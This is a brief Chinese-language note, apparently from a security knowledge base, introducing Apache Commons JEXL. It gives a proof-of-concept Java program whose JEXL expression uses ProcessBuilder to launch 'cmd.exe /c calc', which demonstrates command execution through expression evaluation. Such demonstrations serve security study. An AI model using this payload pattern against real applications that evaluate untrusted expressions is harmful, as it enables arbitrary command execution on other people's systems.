7 Java 表达式执行 ¶
约 135 个字 14 行代码 预计阅读时间 1 分钟
7.1 JEXL¶
Apache Commons JEXL(Java Expression Language)是一个开源的表达式语言引擎,允许在 Java 应用程序中执行动态和灵活的表达式。JEXL 旨在提供一种简单、易用的方式,通过字符串形式的表达式进行计算和操作。
语法参考:
PoC
package cc.trd;
import org.apache.commons.jexl3.*;
public class jexlrun {
public static void main(String[] args) {
JexlEngine engine = new JexlBuilder().create();
String cmd="new('java.lang.ProcessBuilder', ['cmd.exe', '/c', 'calc']).start()";
JexlExpression expr = engine.createExpression(cmd);
JexlContext jc = new MapContext();
Object result = expr.evaluate(jc);
System.out.println(result);
}
}
参考资料 ¶
最后更新:
2024年8月22日 15:25:14
创建日期: 2024年8月19日 17:59:19
创建日期: 2024年8月19日 17:59:19